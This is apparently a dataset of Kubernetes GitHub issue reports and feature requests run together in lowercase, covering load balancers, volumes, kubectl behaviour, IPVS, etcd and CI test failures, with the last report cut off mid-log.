 \r   what would you like to be added  :\r ability to specify a name for the load balancer created on gce through an annotation something like  cloud.google.com/load-balancer-name . currently it generates a long hash e.g.  a08653530f3b811e89c8642010a5a020 \r \r \r example:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: my-lb\r   annotations:\r     cloud.google.com/load-balancer-type: \ internal\ \r     cloud.google.com/load-balancer-name: \ my-lb\ \r   labels:\r     app: my-app\r spec:\r   type: loadbalancer\r   ports:\r   - name: mysql\r     port: 3306\r     targetport: mysql\r   selector:\r     app: my-app\r    \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r loadbalancer service stuck on pending when enabletcpreset is enabled on slb:\r \r    sh\r  kubectl describe service nginx\r name:                     nginx\r namespace:                default\r labels:                   run=nginx\r annotations:              <none>\r selector:                 run=nginx\r type:                     loadbalancer\r ip:                       10.0.25.177\r port:                     <unset>  80/tcp\r targetport:               80/tcp\r nodeport:                 <unset>  32269/tcp\r endpoints:                10.244.0.27:80\r session affinity:         none\r external traffic policy:  cluster\r events:\r   type     reason                      age                  from                  message\r   ----     ------                      ----                 ----                  -------\r   warning  creatingloadbalancerfailed  3m13s  x6 over 13m   service-controller    error creating load balancer  will retry : failed to ensure load balancer for service default/nginx: timed out waiting for the condition\r   normal   ensuringloadbalancer        33s  x7 over 15m     service-controller    ensuring load balancer\r   warning  createorupdateloadbalancer  1s  x40 over 15m     azure-cloud-provider  code=\ enabletcpresetcannotbespecifiedforapiversion\  message=\ specified api-version 2017-09-01 does not meet the minimum required api-version 2018-07-01 for enabletcpreset property.\  details=  \r     \r \r this is because the azure network api version 2017-09-0 is too old. to fix it, the api verison should be upgraded to at least 2018-07-01.\r \r   what you expected to happen  :\r \r azure cloud provider should set the lb rules successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r the fix should be cherry picked to old stable versions. however, release-1.12 is using azure sdk v19.2.0, which doesn't include network api version 2018-07-01. so cloud probably only cherry pick the fix to 1.13 and 1.14 branch.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r   /

copied from  19816  @mqliang  said  > one problem is that we may need enable quorum read when apiserver send read request to etcd, otherwise controllermanager/scheduler/kubelet may get old data. >  > we found that controllermanager/scheduler/kubelet may get old data since apiserver doesn't quorum read etcd. to solve this problem we add an option to api-server to enable quorum read, but it make read less effective. >  > i am not sure such a solution is fine to community. i am glad to upstream this to community if it looks good. >  > there are two cases where we may read old data if we have multi api-server: >  > 1  when a etcd member is isolated from etcd cluster, we can still read from it but all the write request sent to the isolated member will failed . if unfortunately nginx forward some read request to the isolated member, those read request will get old data. >  > 2  consider the following case: >  > a write request e.g. ?key=hello&value=world  was forward to apiserver-1 and then forward to etcd-1, etcd-1 will return 200 indicating the write request was succeeded if the data has been written to a majority of members. for example, written to etcd-1 and etcd-2  > almost immediately, a read request ?key=hello  was forward to etcd-3, if api-server doesn't enable quorum read, this read request will failed key not found  since the data has not been synced to etcd-3.

if kubectl can login but isn't authorized to access non-resource urls  paths like \ /apis\   it gives an extremely cryptic message about failed version negotiation.      $ kubectl get pods error: failed to negotiate an api version; server supports: map  , client supports: map autoscaling/v1:{} batch/v1:{} rbac.authorization.k8s.io/v1alpha1:{} v1:{} authorization.k8s.io/v1beta1:{} authentication.k8s.io/v1beta1:{} apps/v1alpha1:{} batch/v2alpha1:{} federation/v1alpha1:{} policy/v1alpha1:{} componentconfig/v1alpha1:{} extensions/v1beta1:{}       this is the default error message for a user without any permissions.   i would expect this action to return an error message similar to other 403s. for example:      $ kubectl get nodes error from server: the server does not allow access to the requested resource  get nodes

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/8993/  failed:  k8s.io  configmap should be consumable from pods in volume as non-root  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/configmap.go:41 jun 11 18:43:17.859: failed to create pod: the server does not allow access to the requested resource  post pods

the events i got:        4m        2m      2   {kubelet gke-utilicluster-default-pool-2a5b702b-hfyh}           warning     failedmount unable to mount volumes for pod \ spartakus-collector-3999054429-atph7_default 95609653-6f30-11e6-8513-42010a800005 \ : timeout expired waiting for volumes to attach/mount for pod \ spartakus-collector-3999054429-atph7\ /\ default\ . list of unattached/unmounted volumes= bigquery    4m        2m      2   {kubelet gke-utilicluster-default-pool-2a5b702b-hfyh}           warning     failedsync  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ spartakus-collector-3999054429-atph7\ /\ default\ . list of unattached/unmounted volumes= bigquery       the kubelet log:      e0831 04:12:41.868086    3570 configmap.go:157  couldn't get configmap default/bigquery: configmaps \ bigquery\  not found      one of these is better than the other.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-serial/2274/  failed:  k8s.io  emptydir wrapper volumes should not cause race condition when used for git_repo  serial   slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir_wrapper.go:179 failed waiting for pod wrapped-volume-race-13e48fc9-7cb2-11e6-a0bc-0242ac110005-63r3v to enter running state expected error:     < errors.errorstring | 0xc8203c0d00>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir_wrapper.go:395

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ebs aws kubelet\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.4.5\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu-16.04\r -   kernel    e.g.  uname -a  : 4.4.0-43-generic  63-ubuntu smp wed oct 12 13:48:03 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r \r 1. node has a pod with aws ebs attached\r 2. docker restarts, kubelet restarts\r 3. pod goes to  error  status, with messages \r    \r  1m            1m              1       {kubelet ip-10-50-195-252.eu-west-1.compute.internal}                   warning         failedmount     unable to moun\r t volumes for pod \ registry-341515849-b1f4k_default 123242a0-a75b-11e6-a3fb-0a8cd5340591 \ : timeout expired waiting for volumes to attach/mount for pod \ regis\r try-341515849-b1f4k\ /\ default\ . list of unattached/unmounted volumes= storage \r   1m            1m              1       {kubelet ip-10-50-195-252.eu-west-1.compute.internal}                   warning         failedsync      error syncing\r pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ registry-341515849-b1f4k\ /\ default\ . list of unattached/unmounted volumes= storage\r  \r    \r 4. ebs volume is correctly attached and mounted to the node,  volumesattached  and  volumesinuse  is correct on the node. controller manager detects no problems, and doesn't do anything.\r 5. pod never recovers. manual unmount/detach/pod delete is required to recover.\r \r   what you expected to happen  :\r after a kubelet restart, pod should be healthy and pod sync succeeds.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a pod with attached ebs\r 2. restart kubelet\r \r   anything else do we need to know  :\r \r i think this is a regression from https://github.com/kubernetes/kubernetes/pull/33616, since it worked for me in 1.3. but not sure, need to dig further.\r

what happened  :\r when two statefulsets are created with the same labels, only one manages to come up.\r this is caused by the same issue as https://github.com/kubernetes/kubernetes/issues/36855 issuecomment-260828249.\r \r   what you expected to happen  :\r two statefulsets should be created, instead, one was created, and another was unable to come up.\r \r    \r ~ kubectl get pods --watch\r name      ready     status    restarts   age\r ss2-0     1/1       running   0          7s\r ss2-1     1/1       running   0          6s\r ss2-2     1/1       running   0          4s\r name      ready     status    restarts   age\r ss1-0     0/1       pending   0          1s\r ss1-0     0/1       pending   0         1s\r ss1-0     0/1       containercreating   0         1s\r ss1-0     1/1       running   0         2s\r ss1-0     1/1       terminating   0         2s\r ss1-0     1/1       terminating   0         2s\r ss1-0     0/1       pending   0         0s\r ss1-0     0/1       pending   0         0s\r ss1-0     0/1       containercreating   0         1s\r ss1-0     1/1       running   0         2s\r ss1-0     1/1       terminating   0         2s\r ss1-0     1/1       terminating   0         2s\r    \r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: ss1\r spec:\r   servicename: \ ss1\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: ss\r     spec:\r       containers:\r       - name: alpine\r         image: alpine\r         command: \r         - /bin/sleep\r         - \ 1000000\ \r    \r \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: ss2\r spec:\r   servicename: \ ss2\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: ss\r     spec:\r       containers:\r       - name: alpine\r         image: alpine\r         command: \r         - /bin/sleep\r         - \ 1000000\ \r    \r \r   what we should be doing  :\r \r - do not filter on the label selector to find the pods associated with a petset.\r \r cc @kubernetes/sig-apps

kubernetes version    use  kubectl version  : v1.5.2\r \r   what happened  :\r i wanted to  kubectl expose --name=nginx-ingress --selector 'name=nginx-ingress-lb' ...  but you must specify a type to target, and i couldn't figure out how to target a daemonset or a bunch of pods with an arbitrary selector.\r \r in lieu of that,  kubectl create service clusterip --selector  but  --selector  doesn't exist for  create service .\r \r   what you expected to happen  :\r one of them to be available.

i'm using gce, and i didn't manage to make this storageclass working as expected.\r \r   kubernetes version    use  kubectl version  :\r \r    \r kubectl version \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r i'd love to have this working : \r \r i just tried as @chrislovecnm said to s/pd-ssd/ https://www.googleapis.com/compute/v1/projects/myproject/zones/europe-west1-b/disktypes/pd-ssd/g, but without success either.\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r   what happened  :\r \r here is my default storage class:\r    \r kubectl describe storageclass default       \r name:\t\tdefault\r isdefaultclass:\tyes\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ storageclass\ ,\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ metadata\ :{\ name\ :\ default\ ,\ creationtimestamp\ :null,\ labels\ :{\ kubernetes.io/cluster-service\ :\ true\ },\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ }},\ provisioner\ :\ kubernetes.io/gce-pd\ ,\ parameters\ :{\ type\ :\ pd-ssd\ }},storageclass.beta.kubernetes.io/is-default-class=true\r provisioner:\tkubernetes.io/gce-pd\r parameters:\ttype=pd-ssd\r no events.\r    \r \r and if i:\r    \r helm install --namespace production --set persistence.size=20gi --set persistence.storageclass=default --name mongo stable/mongodb\r    \r \r the actual volume that get provisioned is a  standard  one and not an  ssd .\r \r   what you expected to happen  :\r \r i would have expected an ssd provisioned.\r and actually, it is not just for the default behavior, i can't manage to provision an ssd at all.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a k8s cluster in gke, add the default storage class as described, and try to install this mongo using helm.\r \r \r   anything else we need to know  :\r \r    \r kubectl get pvc --all-namespaces -o yaml && kubectl get storageclass -o yaml\r apiversion: v1\r items:\r - apiversion: v1\r   kind: persistentvolumeclaim\r   metadata:\r     annotations:\r       pv.kubernetes.io/bind-completed: \ yes\ \r       pv.kubernetes.io/bound-by-controller: \ yes\ \r       volume.alpha.kubernetes.io/storage-class: default\r       volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/gce-pd\r     creationtimestamp: 2017-02-14t12:22:14z\r     name: mongo-mongodb\r     namespace: production\r     resourceversion: \ 436161\ \r     selflink: /api/v1/namespaces/production/persistentvolumeclaims/mongo-mongodb\r     uid: 37f55d53-f2b0-11e6-8042-42010a8401cd\r   spec:\r     accessmodes:\r     - readwriteonce\r     resources:\r       requests:\r         storage: 20gi\r     volumename: pvc-37f55d53-f2b0-11e6-8042-42010a8401cd\r   status:\r     accessmodes:\r     - readwriteonce\r     capacity:\r       storage: 20gi\r     phase: bound\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r apiversion: v1\r items:\r - apiversion: storage.k8s.io/v1beta1\r   kind: storageclass\r   metadata:\r     annotations:\r       kubectl.kubernetes.io/last-applied-configuration: '{\ kind\ :\ storageclass\ ,\ apiversion\ :\ storage.k8s.io/v1beta1\ ,\ metadata\ :{\ name\ :\ default\ ,\ creationtimestamp\ :null,\ labels\ :{\ kubernetes.io/cluster-service\ :\ true\ },\ annotations\ :{\ storageclass.beta.kubernetes.io/is-default-class\ :\ true\ }},\ provisioner\ :\ kubernetes.io/gce-pd\ ,\ parameters\ :{\ type\ :\ pd-ssd\ }}'\r       storageclass.beta.kubernetes.io/is-default-class: \ true\ \r     creationtimestamp: 2017-02-15t10:07:22z\r     labels:\r       kubernetes.io/cluster-service: \ true\ \r     name: default\r     namespace: \ \ \r     resourceversion: \ 538817\ \r     selflink: /apis/storage.k8s.io/v1beta1/storageclassesdefault\r     uid: 8b004255-f366-11e6-8042-42010a8401cd\r   parameters:\r     type: pd-ssd\r   provisioner: kubernetes.io/gce-pd\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r    \r \r thanks @jsafrane for your kind help!  i also opened a ticket support with gce, and i linked them here.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/4226/ failed: testpoddeletionwithdswp {volume}      attach_detach_test.go:177: pod not added to desired state of world : timed out waiting for the condition       previous issues for this test:  42990

we have a kubernetes multi master  setup with 3 master nodes and 5 worker.\r we have used ha proxy for load balancing and high availability . but due to single point of failure on the side of ha proxy we are trying for a new approach.\r \r we tried the following methods:-\r  1. giving multiple ip address of al the api servers against the --master parameter in in kube-controller-manger, kube-scheduler,kubelet,kube-proxy. but it was not working since it not supported in kubernetes.\r 2. created temporary iptable rule in master and worker nodes to reach the api-servers via service ip.\r     but there was a conflict between the temporary iptable rules and kube-proxy generated chains. so   kube-proxy was continuously flushing and adding iptable rules. \r \r is there any other way to achieve high availability of masters ?\r \r   kubernetes version   : v1.6.3\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os   : ubuntu 16.04.2 lts\r -   kernel   :4.4.0-62-generic\r \r

  \r   what happened  :\r \r when trying to bootstrap an ec2 instance using docker images from ecr, every image works _except_ for the pod infra container image  as supplied to kubelet via the --pod-infra-container-image argument .  if i pre-download the image  docker login & docker pull , then it works.  subsequent static pods configured by kubelet, also using the same ecr registry, work fine.  similarly, using the pod infra container image from gcr's public docker repo  clean install  results in it bootstrapping as expected, with all other images coming from the ecr registry.\r \r   what you expected to happen  :\r \r when running kubelet, if '--cloud-provider aws' is given, and the --pod-infra-container-image argument is pointing to an ecr-hosted image, then docker pull should be run with aws-sourced credentials.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above, plus the kubelet command:\r \r  /usr/bin/kubelet --cgroup-driver=systemd --allow-privileged=true --cgroup-root=/ --cloud-provider=aws --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0 --cluster-dns=100.64.0.10 --cluster-domain=cluster.local --enable-debugging-handlers=true --eviction-hard=memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%,imagefs.available<10%,imagefs.inodesfree<5% --hostname-override=ip-10-123-216-51.eu-west-1.compute.internal --kubeconfig=/var/lib/kubelet/kubeconfig --network-plugin=cni --node-labels=kubernetes.io/role=master --non-masquerade-cidr=100.64.0.0/10 --pod-manifest-path=/etc/kubernetes/manifests --register-schedulable=true --register-with-taints=node-role.kubernetes.io/master=:noschedule --require-kubeconfig=true --v=2 --cni-bin-dir=/opt/cni/bin/ --cni-conf-dir=/etc/cni/net.d/ \r \r  the above works.  change --pod-infra-container-image to an ecr hosted image to replicate this \r \r   anything else we need to know?  :\r \r we're using iam roles with the ec2 instances  and not hard-coded aws credentials \r \r @kubernetes/sig-aws\r @kubernetes/sig-node\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.4\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos linux 7\r - kernel  e.g.  uname -a  :3.10.0-514.21.2.el7.x86_64\r - install tools: custom puppet\r - others:\r \r

for the 1.8 cycle we should incremental update to etcd 3.1.x to pickup known fixes along with fixing some other problems that we're uncovered during 1.7  https://github.com/coreos/etcd/pull/8199  \r \r /cc @kubernetes/sig-cluster-lifecycle-misc @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r ipvs proxier keep logging the following message, that is, ipvs proxier keeps updating virtual servers even if no service changes.\r \r    \r i0912 17:08:13.555614   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0x1}, protocol:\ tcp\ , port:0x1bb, scheduler:\ rr\ , flags:0x1, timeout:0x2a30}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0x1}, protocol:\ tcp\ , port:0x1bb, scheduler:\ rr\ , flags:0x3, timeout:0x2a30}\r i0912 17:08:13.555659   18274 proxier.go:1291  ipvs service default/kubernetes:https was changed\r i0912 17:08:13.556787   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xa}, protocol:\ udp\ , port:0x35, scheduler:\ rr\ , flags:0x0, timeout:0x0}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xa}, protocol:\ udp\ , port:0x35, scheduler:\ rr\ , flags:0x2, timeout:0x0}\r i0912 17:08:13.556818   18274 proxier.go:1291  ipvs service kube-system/kube-dns:dns was changed\r i0912 17:08:13.557872   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xa}, protocol:\ tcp\ , port:0x35, scheduler:\ rr\ , flags:0x0, timeout:0x0}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xa}, protocol:\ tcp\ , port:0x35, scheduler:\ rr\ , flags:0x2, timeout:0x0}\r i0912 17:08:13.557902   18274 proxier.go:1291  ipvs service kube-system/kube-dns:dns-tcp was changed\r i0912 17:08:13.558940   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xb6}, protocol:\ tcp\ , port:0xbda, scheduler:\ rr\ , flags:0x1, timeout:0x2a30}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xb6}, protocol:\ tcp\ , port:0xbda, scheduler:\ rr\ , flags:0x3, timeout:0x2a30}\r ....\r i0912 17:09:13.455862   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0x1}, protocol:\ tcp\ , port:0x1bb, scheduler:\ rr\ , flags:0x1, timeout:0x2a30}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0x1}, protocol:\ tcp\ , port:0x1bb, scheduler:\ rr\ , flags:0x3, timeout:0x2a30}\r i0912 17:09:13.455894   18274 proxier.go:1291  ipvs service default/kubernetes:https was changed\r i0912 17:09:13.457139   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xa}, protocol:\ udp\ , port:0x35, scheduler:\ rr\ , flags:0x0, timeout:0x0}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xa}, protocol:\ udp\ , port:0x35, scheduler:\ rr\ , flags:0x2, timeout:0x0}\r i0912 17:09:13.457169   18274 proxier.go:1291  ipvs service kube-system/kube-dns:dns was changed\r i0912 17:09:13.458292   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xa}, protocol:\ tcp\ , port:0x35, scheduler:\ rr\ , flags:0x0, timeout:0x0}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xa}, protocol:\ tcp\ , port:0x35, scheduler:\ rr\ , flags:0x2, timeout:0x0}\r i0912 17:09:13.458322   18274 proxier.go:1291  ipvs service kube-system/kube-dns:dns-tcp was changed\r i0912 17:09:13.459468   18274 proxier.go:1279  vs is: &ipvs.virtualserver{address:net.ip{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xa, 0x0, 0x0, 0xb6}, protocol:\ tcp\ , port:0xbda, scheduler:\ rr\ , flags:0x1, timeout:0x2a30}, applied vs is : &ipvs.virtualserver{address:net.ip{0xa, 0x0, 0x0, 0xb6}, protocol:\ tcp\ , port:0xbda, scheduler:\ rr\ , flags:0x3, timeout:0x2a30}\r ...\r    \r \r ps. i added some logs to print the ipvs virtual server information.\r \r   what you expected to happen  :\r \r ipvs proxier should not update virtual server when no service changes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just check the log message, you will find it.\r \r   anything else we need to know?  :\r \r i think that's because the ipvs service flags differs. for example, create an ipvs service with flags = 0,  the flags of created service will change to  0+2=2 . besides, if we create an ipvs service with flags = 1, then the flags of created service will change to  1+2=3 .\r \r see related issue:  https://github.com/docker/libnetwork/issues/1921\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign @m1093782566\r

last good aws presubmit: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/53028/pull-kubernetes-e2e-kops-aws/50315\r \r first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50627/pull-kubernetes-e2e-kops-aws/50316\r \r based on the infra commit changing between those two, https://github.com/kubernetes/test-infra/pull/4735 looks to be the culprit\r \r fyi @bentheelder @krzyzacy \r /assign @cjwagner \r as testinfra oncall\r \r /   since it looks to be a test-infra issue\r  since it's kops-aws

 \r when running  kubectl create configmap  with  --dry-run  output does not contain namespace definition in metadata section.\r \r after running \r    \r  kubectl create configmap ez-nginx \\\r    --namespace=ez \\\r    --from-file=docker/nginx/config \\\r    -o yaml --dry-run\r    \r metadata section does not contain namespace definition, only name.\r \r   what you expected to happen  :\r metadata should contain namespace definition\r    \r kind: configmap\r metadata:\r   name: ez-nginx\r   namespace: ez\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r compare output of \r    \r  kubectl create configmap ez-nginx \\\r    --namespace=ez \\\r    --from-file=docker/nginx/config \\\r    -o yaml --dry-run\r    \r and \r    \r  kubectl create configmap ez-nginx \\\r    --namespace=ez \\\r    --from-file=docker/nginx/config \\\r    -o yaml\r    \r \r \r - kubernetes version:\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.7\ , gitcommit:\ 8e1552342355496b62754e61ad5f802a0f3f1fa7\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t23:56:03z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r - 16.04.3 lts  xenial xerus :\r - kernel 4.4.0-62-generic\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-apps-feature-requests \r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r it would be good to test rolling updates with rwo pvcs that cannot be attached to multiple nodes at the same time.

in-tree volume plugins create ps with  fstype: ext4  when provisioning a block volume  i.e.  volumemode: block   . block volumes should have empty fstype, kubernetes won't create anything on them.\r \r   /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r when a crd contains status conditions in a pattern similar to podcondition there is not a good way to produce human readable output of the current status in kubectl. additionalprintercolumns is useful for improving kubectl ux for data which can be pulled directly from the crd but status conditions are generally stored as a list which requires additional processing to be human readable.\r \r   what you expected to happen  :\r i'd like the ability to select a single status condition's value for printing in a column via additionalprintercolumns.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have a crd which defines the following schema under the property \ status\ :\r    go\r type fooconditiontype string\r \r type foocondition struct {\r     type fooconditiontype\r     // k8s.io/api/core/v1 conditionstatus\r     status corev1.conditionstatus\r }\r \r type foostatus struct {\r     conditions   foocondition\r }\r \r    \r i am unable to provide a 'status' column for kubectl get based on a condition value e.g. i'd like to show conditionready's value in a ready column.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r \r

specifically, the system:discovery and system:basic-user rolebindings\r \r from  cve-2018-1002105  https://github.com/kubernetes/kubernetes/issues/71411   post-mortem  https://docs.google.com/document/d/1tgpqem56csbpfl-qxis_cgdlabmzxekedhci7eowgt0/edit  \r \r /area security\r /area apiserver\r /   

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-blocking gce-cos-master-default  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default \r    master-upgrade gce-new-master-upgrade-cluster-new-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel \r \r   which test s  are failing  :\r    master-blocking gce-cos-master-default - diffresources \r      gubernator  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35102 \r      spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35102 \r    master-upgrade gce-new-master-upgrade-new-cluster-new-parallel - diffresource \r      gubernator  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new-parallel/1464 \r \r   since when has it been failing  :\r started failing on 2/20. failure coincides most closely with changes on  k/k, see diff  https://github.com/kubernetes/kubernetes/compare/f99728e6f...82b7a8a5e .\r  k/test-infra diff  https://github.com/kubernetes/test-infra/compare/4546a6010...ef0e29b93 \r \r   testgrid link  :\r    https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default \r    https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel \r \r   reason for failure  :\r gubernator highlights to this failure:\r    \r w0222 13:50:26.482  2019/02/22 13:50:26 main.go:307: something went wrong: encountered 1 errors:  error: 2 leaked resources\r w0222 13:50:26.483  +name                                                            zone        size_gb  type         status\r w0222 13:50:26.483  +bootstrap-e2e-dynamic-pvc-6596a87d-36a4-11e9-8e3c-42010a8a0002  us-west1-b  5        pd-standard  